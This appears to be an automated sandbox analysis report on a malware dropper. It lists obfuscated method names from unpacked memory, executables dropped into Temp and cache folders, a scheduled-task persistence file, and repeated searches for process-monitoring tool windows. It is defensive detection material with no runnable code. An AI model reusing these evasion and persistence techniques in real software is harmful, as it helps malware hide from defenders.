Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, KkPfaNtwV41t8IJvdeT.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kRgN7rZEXo', 'vY6NRxgqje', 'hVKNa58P3j', 'WYyNfUrVEq', 'SFaNi701yW', 'GVuNjdS8FL', 'YtvNxEUUaW'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, HnGPflfHNmJS7oVQ3y.cs	High entropy of concatenated method names: 'hP2nCdqmoq', 'AFKnRYJuLn', 'vsvnfo3GEi', 'hU3ni5dvpu', 'DRenqf2XL4', 'Y5ynKFF4BA', 'RdxnBKejmw', 'sxNnHKSbbE', 'CbHnefHxtx', 'ddZndaDYFi'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, E1VgkvzlaUUe5I7EnV.cs	High entropy of concatenated method names: 'kOQNT5lSYk', 'q09NyiAnZC', 'LgUNZ5WmSL', 'uFrNl76ihC', 'XDRNqrdYF2', 'lfsNBD8U6k', 'kSYNHOVUmD', 'dojNsoZemT', 'tWBNFF8GPD', 'RslNPWkaNU'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, uM81CQkLcVsJBunMLq.cs	High entropy of concatenated method names: 'LMPY5jZ8hA', 'gcCYJI93VE', 'xbn4wfV97A', 'djP4tN06E0', 'IgcY7S244G', 'Y6eYRwfm2o', 'PrrYaMWSvp', 'elkYfOB0ZN', 'VoKYiMCXRu', 'KpYYjRnruC'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, aDjnAZduavW1X70xIc.cs	High entropy of concatenated method names: 'rt8DAVlUr3', 'KCXD8sT3MC', 'In1DEaCdh3', 'T3uEJsyYke', 'KqPEzrhh1A', 'YsXDwj22je', 'MWjDtWZMs8', 'dXWDgpMaMm', 'UUMDLL3Uab', 'XShD6Z6tc4'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, YSmDmSUIb6XTKqNKfJ.cs	High entropy of concatenated method names: 'eAKpMUC3Dn', 'rRrpIare1b', 'JIq8K9FCWB', 'CyY8BJBc3q', 'hW58HjWXal', 'mAt8eJ6Q9u', 'v688d1ILtU', 'XJ18WU0iCu', 'RQk8cqGFIY', 'oQS8CckGLx'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, N1MYrP94QEPot2L65P.cs	High entropy of concatenated method names: 'oUHhnlvJme', 'VHnhYRnCE2', 'rqJhhjNc8O', 'NDYhX6GqIQ', 'flnhrnehMC', 'UIthsUEdpJ', 'Dispose', 'dPL4AX55gM', 'aEn4vHEpAQ', 'NBy48RsVQY'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, dExnHFt6wLa0mOWwdBQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Y2Vmh1YYBv', 'XuJmNdHu6B', 'x7EmXniD2o', 'rO6mm5DtYy', 'PjdmrI8LJ0', 's4jmbKycDG', 'C1Smse59bZ'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, lMspwXGJ7GGwaQ4tEX.cs	High entropy of concatenated method names: 'hEwhlvhlY7', 'LhwhqkLv6s', 'VQ0hKEDqrh', 'n5vhB8pYCi', 'weFhHIwS1n', 'I5Ihexv6TT', 'FXqhdyk1pe', 'YbrhW7uLoL', 'DLihcEJdpt', 'uoohCWvE1H'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, FAZsSmq64bjJSy6XNC.cs	High entropy of concatenated method names: 'WEqQ140LGF429pjfGJL', 'u0maot0irw6EgIuSEUu', 'CpSE4Kq6cT', 'PpiEh87CDX', 'wdfENK7Y9k', 'Vhsfw10oUOpyocbL3Bw', 'CqjWLX0AasagovgkldZ'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, XYnGdNJEdTTKvHfm3Z.cs	High entropy of concatenated method names: 'cIDN8ubs5q', 'TvgNpHbQ67', 'auPNEc6luH', 'GZ1NDkWugj', 'BSwNhCtxhQ', 'tnLNuP5cm2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, QJMEIAttci1YmKS0t4s.cs	High entropy of concatenated method names: 'TpENJD1rKN', 'A52NzPQ45b', 'bRFXwPElQq', 'wskXt6ypuu', 'jT7XgaLPis', 'xJ4XLdvGAs', 'fejX6u0XOS', 'fwLXSCJKYT', 'qV1XA2rWUW', 'ttPXvsiCNj'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, ziQ2hkapDy9nXIwQWr.cs	High entropy of concatenated method names: 'yrYQyD8mXe', 'u6cQZfZum3', 'c4BQluo8FH', 'iU3QqrFVNW', 'awWQBPWn33', 'ExNQHac1Cg', 'rYbQdpeaYR', 'bPPQWq4bFP', 's5xQC8nnU8', 'a9xQ7cEMjk'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, Kt4aMclhtREMnIB4nh.cs	High entropy of concatenated method names: 'qakESekDkA', 'KqqEv94CA8', 'drbEp7Qki4', 'xbtEDFuolZ', 'CT7EuwaYmu', 'nKBp1vaD3N', 'G72pkVrwx8', 'q9hp9ujB6g', 'Mepp5pmTh8', 'PuTpGdxE9Z'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, bFtFusgXEbLd1sfmBX.cs	High entropy of concatenated method names: 'ndVVShDRw', 'qZZ3KKtaL', 'X2QTBlOWm', 'mLXIUYGhO', 'DIUZ3NY9w', 'a5qUxEEo3', 'xA8bHnM9tf6yJpsC4C', 'tnDoQBjoojnCstZQXc', 'P5v4TSTyh', 'ukxNn3BDT'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, yUAvZA6YV6jmTkDsfi.cs	High entropy of concatenated method names: 'XMBtDHOLEv', 'mT7tuQhOrs', 'fKUt22UXfL', 'Nq7t0RJSmD', 'GNKtnfJdt4', 'QMctohtREM', 'kS6pFvEahQcm3P4igY', 'ziDQRLteB2I1tQnnIQ', 'OXBttpKc30', 'kajtLZMhQB'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, kW9HmCxyetpQAMuVTh.cs	High entropy of concatenated method names: 'B4EY2HTA96', 'tjLY0cL2oW', 'ToString', 'SL4YAxcWwJ', 'm4LYvqbAov', 'da0Y86o3co', 'eBoYpaPGfO', 'u9OYExBCLU', 'XLZYDfA5Zv', 'FNWYuiAGP9'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, h4sA0M8cttu3AytW4c.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'wZugGmaL8i', 'ha8gJA1RWm', 'V4MgzaOvO1', 'BP2LwNctoJ', 'b2OLt8fklN', 'v8KLgnAYIR', 'CoaLL4pSjq', 'rhkvKsOqB4AoFwpNVuE'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, jlRAYdtgdxajSA6E8R8.cs	High entropy of concatenated method names: 'ToString', 'HJOXyatoQc', 'HbrXZN39uU', 'f9lXUD04Q0', 'h0EXlLpsnC', 'U0VXq7VWZ8', 'vA0XKVxR97', 'RmwXBo7iEF', 'X9cjWC4ERJXLKpchTEI', 'b6s36i4tdB4eINPNVuv'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, Vg8SFAZKU2UXfLCq7R.cs	High entropy of concatenated method names: 'FaF83g5fqh', 'HCh8TdkOGl', 'h218yq9Hx1', 'qSf8ZYs5Rj', 'y5O8nk5Gab', 'OEJ8omaiWo', 'kuI8Yne6ML', 'rxE84qPFgo', 'iWa8hOoeHR', 'W1Z8NMIFqu'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, mktlYdcWP30buDWU1j.cs	High entropy of concatenated method names: 'i4cDFNeWDj', 'q18DPfh7OM', 'RSLDVMSq0l', 'sEHD391MZV', 'tp6DMMHeJx', 'KHjDTXaYZu', 'fOdDIiHR4P', 'Y1kDyV7ttr', 'LmCDZKJOGy', 'V9SDUikGuS'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, kVdiZvv5P10CtuHo1D.cs	High entropy of concatenated method names: 'Dispose', 'iPotGt2L65', 'J8ngqOtylN', 'zH0DLI3w8a', 'yDrtJBfP4Q', 'Khhtz4QRe4', 'ProcessDialogKey', 'krOgwMspwX', 'Y7GgtGwaQ4', 'bEXggGYnGd'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	High entropy of concatenated method names: 'XR7LSXCnhI', 'k5LLApS7HO', 'D54LvXvPbY', 'CDZL82WCng', 'LaNLpus8uU', 'q5rLEyYh8n', 'TXULDqLrnl', 'RF5LukqDTl', 'iifLOaksHF', 'EbrL2A4nir'
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	High entropy of concatenated method names: 'U3nvfX1V1H', 'HmYviIvu6Q', 'AKRvjubO1u', 'F8evxEdJFk', 'JDJv11Bqvn', 'PmKvkNJ071', 'KlGv9VILIB', 'L67v5pysNH', 'vlRvGOFpyb', 'etWvJdsqte'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, KkPfaNtwV41t8IJvdeT.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kRgN7rZEXo', 'vY6NRxgqje', 'hVKNa58P3j', 'WYyNfUrVEq', 'SFaNi701yW', 'GVuNjdS8FL', 'YtvNxEUUaW'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, HnGPflfHNmJS7oVQ3y.cs	High entropy of concatenated method names: 'hP2nCdqmoq', 'AFKnRYJuLn', 'vsvnfo3GEi', 'hU3ni5dvpu', 'DRenqf2XL4', 'Y5ynKFF4BA', 'RdxnBKejmw', 'sxNnHKSbbE', 'CbHnefHxtx', 'ddZndaDYFi'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, E1VgkvzlaUUe5I7EnV.cs	High entropy of concatenated method names: 'kOQNT5lSYk', 'q09NyiAnZC', 'LgUNZ5WmSL', 'uFrNl76ihC', 'XDRNqrdYF2', 'lfsNBD8U6k', 'kSYNHOVUmD', 'dojNsoZemT', 'tWBNFF8GPD', 'RslNPWkaNU'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, uM81CQkLcVsJBunMLq.cs	High entropy of concatenated method names: 'LMPY5jZ8hA', 'gcCYJI93VE', 'xbn4wfV97A', 'djP4tN06E0', 'IgcY7S244G', 'Y6eYRwfm2o', 'PrrYaMWSvp', 'elkYfOB0ZN', 'VoKYiMCXRu', 'KpYYjRnruC'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, aDjnAZduavW1X70xIc.cs	High entropy of concatenated method names: 'rt8DAVlUr3', 'KCXD8sT3MC', 'In1DEaCdh3', 'T3uEJsyYke', 'KqPEzrhh1A', 'YsXDwj22je', 'MWjDtWZMs8', 'dXWDgpMaMm', 'UUMDLL3Uab', 'XShD6Z6tc4'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, YSmDmSUIb6XTKqNKfJ.cs	High entropy of concatenated method names: 'eAKpMUC3Dn', 'rRrpIare1b', 'JIq8K9FCWB', 'CyY8BJBc3q', 'hW58HjWXal', 'mAt8eJ6Q9u', 'v688d1ILtU', 'XJ18WU0iCu', 'RQk8cqGFIY', 'oQS8CckGLx'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, N1MYrP94QEPot2L65P.cs	High entropy of concatenated method names: 'oUHhnlvJme', 'VHnhYRnCE2', 'rqJhhjNc8O', 'NDYhX6GqIQ', 'flnhrnehMC', 'UIthsUEdpJ', 'Dispose', 'dPL4AX55gM', 'aEn4vHEpAQ', 'NBy48RsVQY'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, dExnHFt6wLa0mOWwdBQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Y2Vmh1YYBv', 'XuJmNdHu6B', 'x7EmXniD2o', 'rO6mm5DtYy', 'PjdmrI8LJ0', 's4jmbKycDG', 'C1Smse59bZ'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, lMspwXGJ7GGwaQ4tEX.cs	High entropy of concatenated method names: 'hEwhlvhlY7', 'LhwhqkLv6s', 'VQ0hKEDqrh', 'n5vhB8pYCi', 'weFhHIwS1n', 'I5Ihexv6TT', 'FXqhdyk1pe', 'YbrhW7uLoL', 'DLihcEJdpt', 'uoohCWvE1H'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, FAZsSmq64bjJSy6XNC.cs	High entropy of concatenated method names: 'WEqQ140LGF429pjfGJL', 'u0maot0irw6EgIuSEUu', 'CpSE4Kq6cT', 'PpiEh87CDX', 'wdfENK7Y9k', 'Vhsfw10oUOpyocbL3Bw', 'CqjWLX0AasagovgkldZ'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, XYnGdNJEdTTKvHfm3Z.cs	High entropy of concatenated method names: 'cIDN8ubs5q', 'TvgNpHbQ67', 'auPNEc6luH', 'GZ1NDkWugj', 'BSwNhCtxhQ', 'tnLNuP5cm2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, QJMEIAttci1YmKS0t4s.cs	High entropy of concatenated method names: 'TpENJD1rKN', 'A52NzPQ45b', 'bRFXwPElQq', 'wskXt6ypuu', 'jT7XgaLPis', 'xJ4XLdvGAs', 'fejX6u0XOS', 'fwLXSCJKYT', 'qV1XA2rWUW', 'ttPXvsiCNj'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, ziQ2hkapDy9nXIwQWr.cs	High entropy of concatenated method names: 'yrYQyD8mXe', 'u6cQZfZum3', 'c4BQluo8FH', 'iU3QqrFVNW', 'awWQBPWn33', 'ExNQHac1Cg', 'rYbQdpeaYR', 'bPPQWq4bFP', 's5xQC8nnU8', 'a9xQ7cEMjk'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, Kt4aMclhtREMnIB4nh.cs	High entropy of concatenated method names: 'qakESekDkA', 'KqqEv94CA8', 'drbEp7Qki4', 'xbtEDFuolZ', 'CT7EuwaYmu', 'nKBp1vaD3N', 'G72pkVrwx8', 'q9hp9ujB6g', 'Mepp5pmTh8', 'PuTpGdxE9Z'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, bFtFusgXEbLd1sfmBX.cs	High entropy of concatenated method names: 'ndVVShDRw', 'qZZ3KKtaL', 'X2QTBlOWm', 'mLXIUYGhO', 'DIUZ3NY9w', 'a5qUxEEo3', 'xA8bHnM9tf6yJpsC4C', 'tnDoQBjoojnCstZQXc', 'P5v4TSTyh', 'ukxNn3BDT'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, yUAvZA6YV6jmTkDsfi.cs	High entropy of concatenated method names: 'XMBtDHOLEv', 'mT7tuQhOrs', 'fKUt22UXfL', 'Nq7t0RJSmD', 'GNKtnfJdt4', 'QMctohtREM', 'kS6pFvEahQcm3P4igY', 'ziDQRLteB2I1tQnnIQ', 'OXBttpKc30', 'kajtLZMhQB'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, kW9HmCxyetpQAMuVTh.cs	High entropy of concatenated method names: 'B4EY2HTA96', 'tjLY0cL2oW', 'ToString', 'SL4YAxcWwJ', 'm4LYvqbAov', 'da0Y86o3co', 'eBoYpaPGfO', 'u9OYExBCLU', 'XLZYDfA5Zv', 'FNWYuiAGP9'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, h4sA0M8cttu3AytW4c.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'wZugGmaL8i', 'ha8gJA1RWm', 'V4MgzaOvO1', 'BP2LwNctoJ', 'b2OLt8fklN', 'v8KLgnAYIR', 'CoaLL4pSjq', 'rhkvKsOqB4AoFwpNVuE'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, jlRAYdtgdxajSA6E8R8.cs	High entropy of concatenated method names: 'ToString', 'HJOXyatoQc', 'HbrXZN39uU', 'f9lXUD04Q0', 'h0EXlLpsnC', 'U0VXq7VWZ8', 'vA0XKVxR97', 'RmwXBo7iEF', 'X9cjWC4ERJXLKpchTEI', 'b6s36i4tdB4eINPNVuv'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, Vg8SFAZKU2UXfLCq7R.cs	High entropy of concatenated method names: 'FaF83g5fqh', 'HCh8TdkOGl', 'h218yq9Hx1', 'qSf8ZYs5Rj', 'y5O8nk5Gab', 'OEJ8omaiWo', 'kuI8Yne6ML', 'rxE84qPFgo', 'iWa8hOoeHR', 'W1Z8NMIFqu'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, mktlYdcWP30buDWU1j.cs	High entropy of concatenated method names: 'i4cDFNeWDj', 'q18DPfh7OM', 'RSLDVMSq0l', 'sEHD391MZV', 'tp6DMMHeJx', 'KHjDTXaYZu', 'fOdDIiHR4P', 'Y1kDyV7ttr', 'LmCDZKJOGy', 'V9SDUikGuS'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, kVdiZvv5P10CtuHo1D.cs	High entropy of concatenated method names: 'Dispose', 'iPotGt2L65', 'J8ngqOtylN', 'zH0DLI3w8a', 'yDrtJBfP4Q', 'Khhtz4QRe4', 'ProcessDialogKey', 'krOgwMspwX', 'Y7GgtGwaQ4', 'bEXggGYnGd'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	High entropy of concatenated method names: 'XR7LSXCnhI', 'k5LLApS7HO', 'D54LvXvPbY', 'CDZL82WCng', 'LaNLpus8uU', 'q5rLEyYh8n', 'TXULDqLrnl', 'RF5LukqDTl', 'iifLOaksHF', 'EbrL2A4nir'
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	High entropy of concatenated method names: 'U3nvfX1V1H', 'HmYviIvu6Q', 'AKRvjubO1u', 'F8evxEdJFk', 'JDJv11Bqvn', 'PmKvkNJ071', 'KlGv9VILIB', 'L67v5pysNH', 'vlRvGOFpyb', 'etWvJdsqte'
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, hGxFHMu6JxxA7FIsiO.cs	High entropy of concatenated method names: 'fikCrKpgZ', 'i3X7UahVG', 'snUlCZ4Gm', 'T6TtROOsS', 'FRayWk5Ha', 'mu0rbUSTc', 'Vv53tEQHE', 'K3yXdOXSJ', 'G7BYWATD4', 'L8bTrbOQYk1pJv5pcGK'
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, Nb0LSG4v63cS0BWJYbd.cs	High entropy of concatenated method names: 'u6E4xiP5Wc', 'Dbs4dbEsZ2', 'wQg4E5kItS', 'dAH4LfJK2S', 'S9s4kvlsNl', 'zRw4QekMBO', 'k0v4TXngCh', 'OEc46B0q21', 'pFh4paE2GL', 'sp34OwWyMv'
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, AeiCUqBnyecleFheY7m.cs	High entropy of concatenated method names: 'nFkP2qgdmH3UuvdQeYL', 'plY3hIgE5kosNrENufA', 'fkTfWlOa4f', 'vh0ry9Sq2v', 'wFdfu9nvOq', 'oukfI2IELk', 'KL9fCPfRWk', 'OR9f7TLqeI', 'n53Udta0Rn', 'nCjBBvahaJ'
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, EuxBF34qwWmD26WKvD1.cs	High entropy of concatenated method names: 'VwJEdLXHqm', 'rmAEEE5oVp', 'znuEL9qi3N', 'uX2EkUNSp9', 'uRKEQxi34J', 'UWNETCEpDb', 'HUdE6SCbxP', 'Bql47LBG0u', 'm4gEpymO7Y', 'CP9EO4PCML'
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, t78TBJsSH4NbLQip6WG.cs	High entropy of concatenated method names: 'uDbB55csX6', 'eSwEomgSKRYY9rf1gFl', 'xWsW6SgmNLKCxCV2IOe', 'oDZsnkEbcQ', 'C4DsHJZmX4', 'gjlsB90mWF', 'vfvsfMZERe', 'nEHs43tAgn', 'ToPsDNfgvc', 'FuwQU4OpRwsrIuko7ki'
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, KkDKYJQtr28Q39fE9C.cs	High entropy of concatenated method names: 'iux1KwnsP', 'KVsUWa0lJ', 'RIQ0P3Exs', 'ksZa1LPlW', 'lgi68kgSY', 'WrIprlg68', 'dF2OeZ9i1', 'qH5qJ4PAW', 'EZ4gHaB8X', 'fpoiwdIqm'

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
